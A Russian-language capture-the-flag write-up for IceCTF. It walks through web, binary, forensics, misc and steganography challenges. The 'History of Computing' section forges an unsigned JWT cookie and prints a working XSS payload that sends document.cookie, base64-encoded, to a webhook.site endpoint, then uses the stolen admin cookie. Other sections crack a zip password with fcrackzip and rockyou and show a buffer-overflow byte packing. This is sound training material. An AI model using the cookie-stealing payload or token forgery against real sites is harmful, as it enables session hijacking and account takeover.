Один из моих любимых соревнований - IceCTF - и он произвел на меня такое впечатление, когда я впервые играл в игру, два года назад, когда они провели свой первый CTF в 2016 году.

ПРИМЕЧАНИЕ. Мне нужно написать еще много статей - эта статья еще не закончена. Я буду добавлять по мере того, как пройдет время, и я закончу писать больше, я просто хотел иметь что-то, что можно было бы продемонстрировать на CTFtime, чтобы все сдвинулось с мертвой точки.

В этом году у них была совершенно новая платформа с «Противником» и аналогичная кривая обучения, но в этом году были гораздо более сложные задачи.

Я играл с несколькими участниками моего сервера Discord (JHDiscord, https://discord.gg/qS2UzAy), и у нас все хорошо. Некоторое время мы боролись за высокое место в топ-10, переходя с 1-го места на 3-е на 6-е и так далее. Я считал, что мы заняли 6-е место, но из более чем 2300 команд я считаю, что это неплохо!

(PS. Если вы хотите присоединиться к вечеринке и сыграть с нами, не стесняйтесь присоединиться к Discord. Это крутое сообщество, выросшее из моего канала на YouTube: https://youtube.com/johnhammond010)

Перейдем к описанию.

Интернет

Это моя любимая категория, но у IceCTF не так много хард-хитов, за исключением самого последнего испытания.

Перезапуск Toke (50 очков)

Мы перезапустили наш знаменитый сайт Toke! Надеюсь, никто не взломает его снова и не снимет, как в прошлый раз. Https://static.icec.tf/toke/

Вы можете изучить веб-сайт и источник, но вы не найдете много.

Уловка здесь заключается в том, чтобы выполнить обычный контрольный список для классической веб-задачи CTF. Проверьте низко висящий фрукт: проверьте, существует ли robots.txt.

В этом случае он находится не в самом корневом каталоге, а в верхней части веб-сервера - он находится в папке в URL-адресе из каталога toke. Таким образом, URL-адрес будет выглядеть так: https://static.icec.tf/toke/robots.txt

User-agent: *
Disallow: /secret_xhrznylhiubjcdfpzfvejlnth.html

Вы можете увидеть ссылку здесь. Перейдя на эту страницу (опять же, в каталоге toke), вы сразу увидите флаг.

Флаг: IceCTF {what_are_these_robots_doing_here}

Отбой! (75 баллов)

Помощь! Мы боимся темноты! Https://static.icec.tf/lights_out

Еще одна проблема с небольшим количеством исходного кода HTML. Так что поищем в другом месте. Не забудьте проверить все файлы, включенные в веб-задание!

Вам нужно проверить файл main.css.

Но по умолчанию текст как бы уменьшен и весь замят вместе. К счастью, мы можем использовать инструменты разработчика Chrome для их предварительной настройки (просмотрев этот источник и нажав {})

Теперь мы можем предположить, что они пытаются спрятать здесь что-то (так как все было минифицировано), поэтому я решил, что буду искать или Ctrl+F для формата флага. Я пробовал такие вещи, как IceCTF или просто CTF, и последнее мне очень понравилось.

Вы обнаружите, что части флага сегментированы в различных HTML-элементах, которым присваивается свойство CSS content для части флага. Если вы начнете Ctrl+F и будете искать эти content свойства, вы сможете выкопать кусочки флага и начать собирать их вместе.

Флаг: IceCTF {styles_turned_the_lights}.

Фридфиннур! (200 баллов)

Ева хочет создать самый популярный новый веб-сайт для поиска работы на рынке! Заядлый разработчик PHP, она решила использовать самый популярный новый фреймворк, Laravel! Однако я не думаю, что она знала, как развертывать веб-сайты в таком масштабе… https://c1m9n0xeu7gv4xd-fridfinnur.labs.icec.tf/

Этот вызов был немного забавным. Я не уверен, что решение, которое я нашел, должно было быть настоящим решением, потому что оно кажется просто ... забавным.

Проблема заключается в том, что веб-страница Bootstrap собрана вместе с PHP Laravel.

Фактически, вы можете увидеть внизу справа внизу панель Laravel PHP DebugBar. Я покопался в этом и увидел несколько интересных переменных, но особого внимания не получил.

Когда я заглянул на другие веб-страницы, я увидел, что там перечислены разные «вакансии», и вы, предположительно, можете «подать заявку» на каждую из них.

Достаточно интересно, что когда я попытался вернуться на страницу «Вакансии» при просмотре одной конкретной работы, сайт сломался и выплюнул флаг.

Я уверен, что это должно быть по крайней мере отчасти намеренно, учитывая, что код буквально выдает исключение с флагом. Но это все! Это все, что нужно!

Флаг: IceCTF {you_found_debug}.

История вычислительной техники (400 баллов)

Эту страницу сделал один из авторов IceCTF, но я не думаю, что это очень точно. Сможете ли вы взломать его до того, как команду IceCTF подадут в суд? Https://c1m9n0xeu7gv4xd-history.labs.icec.tf/

Это было потрясающе.

Первоначально он был сломан, когда он был впервые выпущен, и это было огромным обломом для всех людей, которые спешили найти первое решение.

Это выглядело как небольшой веб-сайт, на котором пользователь мог зарегистрировать учетную запись, войти в систему и добавить комментарии к двум статьям.

Если вы добавили комментарий, была возможность «пожаловаться» на комментарий и позволить администратору просмотреть его. Как правило, это серьезный признак и индикатор уязвимости межсайтового скриптинга в задачах CTF.

Так что я попытался добавить в комментарии полезные данные… но, похоже, все было правильно убрано. Все HTML-теги будут закодированы в HTML - это выглядело безопасным.

Но каждый комментарий также включал наше имя пользователя, поэтому я попытался зарегистрировать учетную запись с некоторыми из этих персонажей ... но и там не повезло.

В какой-то момент своего открытия я обнаружил файлы cookie: session и token. Оба выглядели как JWT (Java Web Token) в их формате данных в кодировке base64 и точках, разделяющих каждый раздел. Я взглянул на их содержимое на https://jwt.io/… но мне и моей команде потребовалось некоторое время, прежде чем мы достигли прозрения.

Это token файл cookie:

В конце концов, мы поняли, что можем манипулировать файлами cookie и изменять имя пользователя - и функция комментариев может считывать файл cookie, и наша полезная нагрузка XSS может пройти!

Я сделал это вручную, воссоздав содержимое Base64. Если хотите, вы можете написать сценарий всей атаки. Вот какой-то грязный код, чтобы просто выбросить пользовательскую закодированную версию файла cookie:

Просто ради демонстрации этого вручную, вы можете просто вставить это значение cookie во что-то вроде EditThisCookie ... но опять же, если вы хотите создать для этого какой-нибудь замечательный requests модуль get_flag скрипт, вы совершенно точно сможете.

ВНИМАНИЕ: при предварительном просмотре комментария на главной странице внедренный HTML-код не отображается. Вам нужно будет щелкнуть по нему и просмотреть конкретный комментарий, чтобы он действительно вызвал.

Попытка использовать теги <script> блокируется фильтром. После некоторого тестирования выяснилось, что alert также отфильтрован.

Так что нам просто нужно уклониться от этого. Мне нравится использовать классическое злоупотребление тегами img и пробовать другое тестирование вывода, чтобы убедиться, что JavaScript работает на нас.

<img src="" onerror="console.log('xss')"

Это стало хитом. Теперь мы можем настроить конечную точку с чем-то вроде https://requestbin.fullcontact.com/ и заставить нашу полезную нагрузку передавать некоторые интересные данные ... например, файл cookie администратора!

Вот полезная нагрузка, которую я использовал, с https://webhook.site. Я использую Base64 для кодирования файла cookie, чтобы он мог нормально передаваться по URL-адресам.

<img src="" onerror="document.location=\'https://webhook.site/c197380c-0bc5-430e-9a8a-dadd32670d64?cookie=\'+btoa(document.cookie)"

И после того, как мы сообщим о комментарии, мы получим новый запрос. Файл cookie закодирован как:

dG9rZW49ZXlKMGVYQWlPaUpLVjFRaUxDSmhiR2NpT2lKdWIyNWxJbjAuZXlKMWMyVnlibUZ0WlNJNkltRmtiV2x1SWl3aVpteGhaeUk2SWtsalpVTlVSbnRvYjNCbElIbHZkU0JrYjI0bmRDQjBhR2x1YXlCMGFHbHpJR2x6SUdFZ2NtVmhiQ0JtYkdGbmZTSjkuOyBzZXNzaW9uPWV5SjFjMlZ5SWpveGZRLkRudjZWQS56UWJycDhuM1JnSldOZjRiQ2xWSmVlUEJ6VWM=

Теперь мы можем расшифровать эти файлы cookie как свои собственные и, по сути, стать пользователем-администратором.

token=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwiZmxhZyI6IkljZUNURntob3BlIHlvdSBkb24ndCB0aGluayB0aGlzIGlzIGEgcmVhbCBmbGFnfSJ9.; session=eyJ1c2VyIjoxfQ.Dnv6VA.zQbrp8n3RgJWNf4bClVJeePBzUc

Флаг отображается сразу после обновления. IceCTF {who_trusts_these_cookies_anyway?}

Двоичная эксплуатация

Простое переполнение (250 пунктов)

… [Длинный текст]…

Это действительно крутая демонстрация платформы Adversary. Это хорошее руководство по простому переполнению буфера. Шаги проведут вас через это - единственная интуиция и дополнительные знания, которые могут вам понадобиться, - это последний шаг.

Вас просят перейти с secret на 0xcafebabe. Однако мы не можем использовать только обычные буквы, которые можем набирать на клавиатуре ... поэтому нам нужно преобразовать их в некоторые необработанные байты.

Мы можем использовать Python, чтобы сделать это за нас. Мы можем сделать это с помощью встроенной struct библиотеки или pwntools, если она у вас установлена.

import struct
struct.pack('<I', 0xcafebabe)
# '\xbe\xba\xfe\xca'

Вы получите тот же результат с pwn, но синтаксис немного проще для понимания.

import pwn
pwn.p32(0xcafebabe)
# '\xbe\xba\xfe\xca'

К счастью, веб-интерфейс позволяет нам вводить эти байты. Если вы заполните буфер и передадите их на secret, вы получите флаг!

Криминалистика

Современный Пикассо (150 баллов)

Вот изображение современного цифрового абстрактного искусства. Но разве это больше, чем искусство? Https://static.icec.tf/picasso/picasso.gif

Я бы показал здесь GIF, но он не будет анимироваться на Medium - так что в этом нет смысла.

Суть этого в том, что анимированный GIF записывает что-то с сегментом изображения, разделенным в каждом кадре.

Итак, вывод, к которому мы можем прийти, заключается в том, что нам нужно по существу наложить все эти кадры друг на друга и увидеть изображение полностью нарисованным. Мы можем сократить это с помощью некоторых инструментов из ImageMagick (очевидно, вы могли бы это сделать вручную, но это было бы отстой. Всегда стремитесь к автоматизации).

convert picasso.gif %05d.png

Это позволит вырезать кадры в разные файлы PNG. Похоже, у нас есть около 66 из них, с которыми нужно работать. Опять же - давайте попробуем автоматизировать наш процесс.

Мы можем использовать ImageMagick, чтобы «наложить» эти изображения друг на друга ... но белый фон в конечном итоге перезапишет и удалит предыдущее изображение, так что мы можем убрать белый цвет.

ls *.png | while read line; do convert $line -transparent white $line; done

(Это дерьмовый однострочник, чтобы перебрать все рамки и удалить белый.)

Теперь, когда у нас есть прозрачность, мы можем наложить их на место.

ls *.png |while read line; do convert 00000.png $line -gravity center -composite 00000.png; done

Я использую этот цикл, чтобы собрать все картинки вместе. Я делаю здесь что-то умное: складываю их все в первое изображение - 00000.png - это выходной файл «результата», но я включаю его в качестве ингредиентов для двух файлов, которые складываются… так что мы можем отслеживать наш прогресс по мере того, как мы повторить.

Затем мы можем просмотреть 00000.png файл, и это будет наш полный, развернутый файл.
Получаем флаг!

хардшеллы (150 очков)

После недавнего взлома ноутбук был изъят и впоследствии проанализирован. Жертва взлома? Невинный мексиканский ресторан. В ходе расследования был обнаружен этот подозрительный файл. Можете ли вы найти какие-либо доказательства того, что виноват владелец этого ноутбука? Скачать файл: hardshells

Нам предоставлен файл без расширения, поэтому мы можем быстро провести разведку:

$ file hardshells 
hardshells: Zip archive data, at least v1.0 to extract

Похоже на ZIP-файл, поэтому давайте добавим расширение, чтобы убедиться, что unzip справится с этим нормально.

$ mv hardshells hardshells.zip
$ unzip hardshells.zip 
Archive:  hardshells.zip
   creating: hardshells/
[hardshells.zip] hardshells/d password:

- Но нужен пароль!

Давайте возьмем rockyou.txt как надежный файл словаря и fcrackzip как инструмент, чтобы попытаться подобрать пароль.

$ fcrackzip -v -D -u -p rockyou.txt hardshells.zip

Менее чем за секунду он находит пароль и находит его tacos.

После его распаковки мы получаем странный файл d. Проведя обычную разведку, мы видим…

$ file d
d: Minix filesystem, V1, 30 char names, 20 zones

Файловая система. Мы можем попробовать установить его и посмотреть, есть ли что исследовать.

$ mkdir mountpoint
$ sudo mount d mountpoint
$ cd mountpoint
$ ls
dat

Есть файл dat. Оказалось, что это просто похоже на data, поэтому я подумал, что могу просмотреть файл в шестнадцатеричном редакторе и посмотреть, что я могу собрать воедино.

Посмотрите на интерпретируемый ASCII справа. Вы можете увидеть такие вещи, как IHDR и IDAT, которые являются заголовками структуры для файла изображения PNG! Если это файл PNG, вы можете увидеть, что магические байты в самом начале неверны. Он говорит PUG, когда ему нужно сказать PNG. Исправляя это и просматривая файл, мы видим…

Флаг: IceCTF {look_away_i_am_hacking}.

Разное

ilovebees (150 очков)

Я наткнулся на этот странный сайт. Это похоже на веб-сайт, созданный энтузиастом цветов, но похоже, что его перехватил кто-то… или что-то в этом роде.
Вы можете понять, что он пытается нам сказать? Https://static.icec.tf/iloveflowers/

Я много боролся с этой проблемой. Моя команда и я долго смотрели на это, не зная, что делать.

Мы просмотрели исходный код HTML, но не обнаружили ничего особенно ценного, кроме очень странного текста и сообщения в виде черного ящика с очевидным обратным отсчетом. Мы проверили обратный отсчет JavaScript и немного поигрались, чтобы таймер достиг нуля… но с этим ничего не произошло.

В конце концов кто-то откопал, что это отсылка к Halo Я люблю пчел https://en.wikipedia.org/wiki/I_Love_Bees. Мы посмотрели на предполагаемый код, но он не сделал ничего, кроме того, что делает оригинал… и на самом деле он не ничего. Итак, мы подумали, что это отвлекающий маневр.

Я продолжал копаться на веб-странице, пытаясь найти что-нибудь интересное. Я подумал: «Ну, с таким же успехом могу попробовать все», поэтому решил, что зеркалирую весь веб-сайт и исследую все файлы как можно больше.

wget -m "https://static.icec.tf/iloveflowers/"

При этом скачано все, что доступно с сайта.

… Но мне показалось, что я увидел что-то странное.

Загрузка favicon.gif файла заняла немного больше времени.

По странной догадке я проверил размер файла всего, что скачал.

Какого черта? Файл favicon.gif буквально больше всех остальных изображений. Что с этим файлом?

Я проверил strings, и там была тонна хлама.

GIF89a
ntfpriux-.sogmolinainibctarlibld-td
t_mn_st__c_s
ELIBCGNU
x86d
64/-64.6
NETSCAPE2.0
/ItxQ
ux-ntfprigmo.solinlibtarld-td
ainibc
i       t_mn_st__c_sIBCGNU
x86_2.d
64/-64.6
-_||
_D|q
/Ir0)
        ]^|
ntfux-.soprilinlibld-td
gmoain
i       tart_mt__n_sibcc_sx86IBCGNU
64/-64.6
 _t|
/Iv0)
ntfux-.soprilinlibld-td
gmoain
i       tart_mt__n_sibcc_sx86IBCGNU
_2.64/.6
-642.5
/Iv0)
ux-ntfprigmolinlibain.so
i       tart_mn_sc_st__ibcld-td
GNUIBC
...

После того, как я какое-то время смотрел на него и просматривал многое, я заметил кое-что еще более странное.

Мне показалось, что я видел следы чего-то вроде GLIBC ... и символов, которые могут быть в двоичном ... Но все они были перемешаны!

Я посмотрел на гифку и увидел анимацию. Потом меня осенило.

Внутри кадра GIF находится фрагментарный двоичный файл.

Итак, я сделал обычный ImageMagick convert, чтобы получить кадры, а затем проверил их метаданные с помощью exiftool. Он смог найти двоичные данные, и я мог даже извлечь их с помощью -b (мне пришлось немного очистить их с помощью dd и tail) ... поэтому я запустил это на всех кадрах, собрал их в файл и попробовал для проверки двоичного файла.

Вот мой запутанный сценарий (без строки convert):

Как видите, я обнаружил флаг в strings нового файла. Какой безумный вызов!

Флаг: IceCTF {MY_FAVORITE_ICON}.

Стеганография

Drumbone

Я присоединился к паре хакерских каналов в IRC и начал получать эти странные сообщения. Кто-то прислал мне это изображение. Сможете ли вы выяснить, есть ли в нем что-нибудь подозрительное? Скачать файл: drumbone.png

Нам дается файл изображения.

Учитывая, что это первая задача стеганографии, я снова провел свои обычные тесты с низко висящими фруктами. Запускаем образ через stegsolve.jar.

После изучения каждого дисплея я обнаружил что-то особенное в наименее значимой части синего цвета.

Вы можете увидеть почти QR-код, но только с очень маленькими точками ...

Что ж, мы хотели бы увидеть, что переводит этот QR-код, поэтому давайте сохраним его и попробуем очистить его с помощью GIMP.

Я использовал «Обнаружение края» два или три раза, пока все точки не соединились.

Затем я инвертировал цвета и удалил все большие куски белого, окружающие черный, а затем использовал «Выбрать цвет», чтобы захватить оставшиеся белые полосы между черным. Я перевернул их и получил полный QR-код!

Сохранение этого изображения и запуск zbarimg показывает флаг.

Флаг: IceCTF {Elliot_has_been_mapping_bits_all_day}.